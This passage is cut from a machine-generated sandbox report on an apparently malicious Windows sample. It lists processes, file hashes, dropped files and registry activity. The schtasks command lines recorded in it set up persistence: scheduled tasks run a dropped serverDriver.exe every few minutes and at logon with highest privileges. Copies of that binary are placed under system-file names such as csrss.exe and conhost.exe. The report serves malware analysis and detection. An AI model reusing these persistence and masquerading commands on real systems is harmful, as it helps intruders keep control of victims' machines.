HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00003192","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":3092,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"serverDrivers\" /sc MINUTE /mo 9 /tr \"'C:\\msComwin\\serverDriver.exe'\" /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00003092","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":7988,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"serverDriver\" /sc ONLOGON /tr \"'C:\\msComwin\\serverDriver.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00007988","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":2840,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"serverDrivers\" /sc MINUTE /mo 13 /tr \"'C:\\msComwin\\serverDriver.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00002840","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":4796,"ppid":0,"name":"OSPPSVC.exe","command_line":"","sha256":"d0102ec13b810c20f1a43950ac1aab7afc636b94ad13d15d1e6eaef49c3c1d6f","normalized_path":"%USERPROFILE%\\Saved Games\\OSPPSVC.exe","uid":"00000000-00004796","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":4892,"ppid":0,"name":"csrss.exe","command_line":"","sha256":"d0102ec13b810c20f1a43950ac1aab7afc636b94ad13d15d1e6eaef49c3c1d6f","normalized_path":"%PROGRAMFILES%\\(x86)\\Windows Portable Devices\\csrss.exe","uid":"00000000-00004892","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":6872,"ppid":0,"name":"serverDriver.exe","command_line":"","sha256":"d0102ec13b810c20f1a43950ac1aab7afc636b94ad13d15d1e6eaef49c3c1d6f","normalized_path":"C:\\msComwin\\serverDriver.exe","uid":"00000000-00006872","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":7020,"ppid":0,"name":"AutoIt3_x64.exe","command_line":"","sha256":"d0102ec13b810c20f1a43950ac1aab7afc636b94ad13d15d1e6eaef49c3c1d6f","normalized_path":"C:\\found.000\\dir0000.chk\\AutoIt3_x64.exe","uid":"00000000-00007020","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":7160,"ppid":0,"name":"conhost.exe","command_line":"","sha256":"d0102ec13b810c20f1a43950ac1aab7afc636b94ad13d15d1e6eaef49c3c1d6f","normalized_path":"%WINDIR%\\System32\\wo-SN\\conhost.exe","uid":"00000000-00007160","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="}],"all_imported_dlls":["api-ms-win-core-localization-l1-2-0.dll","api-ms-win-crt-environment-l1-1-0.dll","uxtheme.dll","sxs.dll","api-ms-win-core-xstate-l2-1-0.dll","kernel32.dll","RpcRtRemote.dll","ole32.dll","msvcrt.dll","vcruntime140.dll","api-ms-win-crt-time-l1-1-0.dll","rsaenh.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","mscorrc.dll","KernelBase.dll","lpk.dll","api-ms-win-crt-convert-l1-1-0.dll","Wldap32.dll","scrobj.dll","riched20.dll","profapi.dll","shdocvw.dll","GdiPlus.dll","msctf.dll","fltLib.dll","api-ms-win-crt-math-l1-1-0.dll","crypt32.dll","ntdll.dll","nsi.dll","api-ms-win-crt-string-l1-1-0.dll","advapi32.dll","cryptbase.dll","mpr.dll","rpcrt4.dll","clbcatq.dll","winbrand.dll","dwmapi.dll","tiptsf.dll","ucrtbase_clr0400.dll","clrjit.dll","api-ms-win-core-timezone-l1-1-0.dll","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-downlevel-version-l1-1-0.dll","mscoree.dll","api-ms-win-crt-utility-l1-1-0.dll","vcruntime140_clr0400.dll","user32.dll","cfgmgr32.dll","devobj.dll","scrrun.dll","nlssorting.dll","api-ms-win-core-file-l1-2-0.dll","oleaut32.dll","api-ms-win-downlevel-user32-l1-1-0.dll","userenv.dll","winmm.dll","clr.dll","tzres.dll","urlmon.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","wintrust.dll","msisip.dll","System.Configuration.ni.dll","comctl32.dll","imm32.dll","msasn1.dll","mscoreei.dll","secur32.dll","ieframe.dll","api-ms-win-crt-stdio-l1-1-0.dll","sechost.dll","propsys.dll","iertutil.dll","cryptsp.dll","shlwapi.dll","WindowsCodecs.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","System.Drawing.ni.dll","System.Windows.Forms.ni.dll","diasymreader.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","msvcp140.dll","setupapi.dll","wshext.dll","bcrypt.dll","shell32.dll","wpdshext.dll","ws2_32.dll","normaliz.dll","System.Core.ni.dll","VxSSL32.dll","api-ms-win-crt-runtime-l1-1-0.dll","ntmarta.dll","wininet.dll","apphelp.dll","System.ni.dll","api-ms-win-core-file-l2-1-0.dll","gdi32.dll","usp10.dll","api-ms-win-crt-filesystem-l1-1-0.dll","api-ms-win-core-processthreads-l1-1-1.dll","rpcss.dll","api-ms-win-crt-locale-l1-1-0.dll","mscorlib.ni.dll","psapi.dll","System.Xml.ni.dll","ktmw32.dll","ucrtbase.dll","api-ms-win-crt-heap-l1-1-0.dll","version.dll","sfc_os.dll","sspicli.dll","vbscript.dll","OneCoreUAPCommonProxyStub.dll","WMINet_Utils.dll","rtutils.dll","cldapi.dll","sppc.dll","fastprox.dll","winhttp.dll","dhcpcsvc6.dll","System.Data.dll","91OyemuZ.dll","atl.dll","bcryptprimitives.dll","msls31.dll","CoreMessaging.dll","System.Management.Automation.ni.dll","MpClient.dll","dnsapi.dll","schannel.dll","miutils.dll","msvcp_win.dll","win32u.dll","clrcompression.dll","OnDemandConnRouteHelper.dll","Microsoft.Management.Infrastructure.ni.dll","dlnashext.dll","Microsoft.PowerShell.Security.ni.dll","System.Transactions.ni.dll","Microsoft.Management.Infrastructure.Native.ni.dll","wbemsvc.dll","ntasn1.dll","mi.dll","Windows.StateRepositoryPS.dll","gdi32full.dll","imagehlp.dll","MpOAV.dll","pcacli.dll","wldp.dll","slc.dll","PlayToDevice.dll","System.Management.ni.dll","wbemprox.dll","IPHLPAPI.DLL","FWPUCLNT.DLL","DevDispItemProvider.dll","System.Net.Http.ni.dll","wmiutils.dll","wmidcom.dll","dpapi.dll","winnsi.dll","wow64cpu.dll","VxSSL64.dll","taskschd.dll","wow64win.dll","SHCore.dll","xmllite.dll","combase.dll","coml2.dll","dhcpcsvc.dll","System.DirectoryServices.ni.dll","ncrypt.dll","msIso.dll","System.Runtime.Serialization.ni.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","edputil.dll","cmdext.dll","rasapi32.dll","gpapi.dll","MMDevAPI.dll","System.Web.dll","rasadhlp.dll","ncryptsslp.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","Microsoft.PowerShell.Commands.Management.ni.dll","aepic.dll","amsi.dll","System.Transactions.dll","wow64.dll","wbemcomn.dll","rasman.dll","mswsock.dll","powrprof.dll","mskeyprotect.dll","System.Data.ni.dll","kernel.appcore.dll","windows.storage.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"wXSnOmjT.log","sha256":"0395d1f3ffc35107d3cd884cb95eff2113c2c7185bdff79ee94fd0c8c26faea9","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"name":"cZA5KaguC4o8PZDkwLzCSV.vbe","sha256":"5f515df09286381ec00cbe712ee5221e84f8f495146efd32901f4841b95dedc7","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"serverDriver.exe","sha256":"d0102ec13b810c20f1a43950ac1aab7afc636b94ad13d15d1e6eaef49c3c1d6f","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"WzVKQIZW.log","sha256":"4dae02cffeadccdd2d4b2dee4d87a74e3d316b5b495f3152bba1016793501549","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"name":"jPMpoQeQp16cuCKUjlVM4BatpZBs5KbDfkAsAnootEh6QE.bat","sha256":"f0055d73ff77312a21e2d23bd23c37e55710129a40dc694561b9409acf9a612b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"csrss.exe","sha256":"d0102ec13b810c20f1a43950ac1aab7afc636b94ad13d15d1e6eaef49c3c1d6f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"hdvdfARUms.bat","sha256":"93a03e7a11d6fd5b4eaf7ac10873817c85cc5389b4094d6dcd2b39bdadd09212","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"OSPPSVC.exe","sha256":"d0102ec13b810c20f1a43950ac1aab7afc636b94ad13d15d1e6eaef49c3c1d6f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"conhost.exe","sha256":"d0102ec13b810c20f1a43950ac1aab7afc636b94ad13d15d1e6eaef49c3c1d6f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"AutoIt3_x64.exe","sha256":"d0102ec13b810c20f1a43950ac1aab7afc636b94ad13d15d1e6eaef49c3c1d6f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"serverDriver.exe.log","sha256":"3ac7d4bf88fc63014b5eec817ecd818281c10e7c4f8677471116f20798c27916","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"StartupProfileData-NonInteractive","sha256":"b17662aafc2753aeec880852d5a8885cb0e40cc1d43139a42d2d680ea1952f14","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"886983d96e3d3e","sha256":"482a56f009b77cf20fdd56acbbb3b45a36c8b1d689c15618a94e66f0cdc10e41","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"fqpDjNDbMI","sha256":"a957c78485532fe11e4067b01f64774e2ed4ed3d2a3743bf4472f8c6f37dfaf5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"1610b97d3ab4a7","sha256":"3d12aaa7a214e51c93cc89f61fc9e796c96c76e43aa098c80a170a3deceaf456","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"088424020bedd6","sha256":"96f3d7667de8cb1956a05db05c23c2475270b493406bd0ed2ff0009e8e08eb5e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"21217b1546ce04","sha256":"3417a2d4adc63851aa399e2605525c54e1c0c94cdc296de61e9f7de0e1833a8b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"1ced8b9c1f03b8","sha256":"8da61ea07f3b3a2f5e7ebf446c63a25478984924061f5b90cbc4da1081123919","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"Cdawv1hcU2","sha256":"227f88fea68415375925e54980f793b8d19fefcfe48ad62984951e7c4e4758a5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"bYngJRvECy","sha256":"d59a48548c3342e337333e57159266fee8596e79f39fea996bf53786af1aa8fb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"decoded_1.vbs","sha256":"95a58a8b75c9840f95f893e1982a931e46005f4af2fd0558a29f3f1b4aba59f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"extra_enc_0.vbe.bin","sha256":"5f515df09286381ec00cbe712ee5221e84f8f495146efd32901f4841b95dedc7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]}],"files_written":[{"path":"C:\\msComwin\\__tmp_rar_sfx_access_check_907607826","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"path":"C:\\msComwin\\serverDriver.exe","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"C:\\msComwin\\cZA5KaguC4o8PZDkwLzCSV.vbe","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"C:\\msComwin\\jPMpoQeQp16cuCKUjlVM4BatpZBs5KbDfkAsAnootEh6QE.bat","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\WzVKQIZW.log","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"path":"%USERPROFILE%\\Desktop\\wXSnOmjT.log","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"path":"C:\\msComwin\\__tmp_rar_sfx_access_check_907383015","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\EyhiJlUo.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\uqslXQbF.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\UAIqUBrJ.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\XiPOwPQx.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\mEAdJolS.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\UsYXpSQD.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\jTUMCaaa.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\RHtHiEFL.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\hipwvNQh.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\DdYarwKj.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\dsyFoQPo.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\KbMaULFY.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\ZCIPgTPu.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\GkVjNOEf.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\dkPnJhoi.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\kiDnmwjX.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\wTJlrHtA.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\LpuAEhNV.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\qSwuksNG.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\FohIxSib.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\UQexJasx.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\SfyhCMhF.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\gBkwPmCa.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\wcglbuMw.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\bFifIGMh.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\rheUUOWD.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\GDQjhnqZ.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Desktop\\fNgodYGc.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"C:\\msComwin\\1ced8b9c1f03b8","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"C:\\found.000\\dir0000.chk\\AutoIt3_x64.exe","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"C:\\found.000\\dir0000.chk\\21217b1546ce04","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Saved Games\\OSPPSVC.exe","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%USERPROFILE%\\Saved Games\\1610b97d3ab4a7","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%PROGRAMFILES%\\(x86)\\Windows Portable Devices\\csrss.exe","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%PROGRAMFILES%\\(x86)\\Windows Portable Devices\\886983d96e3d3e","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%WINDIR%\\System32\\wo-SN\\conhost.exe","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%WINDIR%\\System32\\wo-SN\\088424020bedd6","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"C:\\found.000\\dir0011.chk\\AutoIt3_x64.exe","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"C:\\found.000\\dir0011.chk\\21217b1546ce04","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%TEMP%\\fqpDjNDbMI","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%TEMP%\\hdvdfARUms.bat","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\serverDriver.exe.log","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_lwivwpj0.0am.ps1","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_phxgl0j3.c5m.psm1","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT 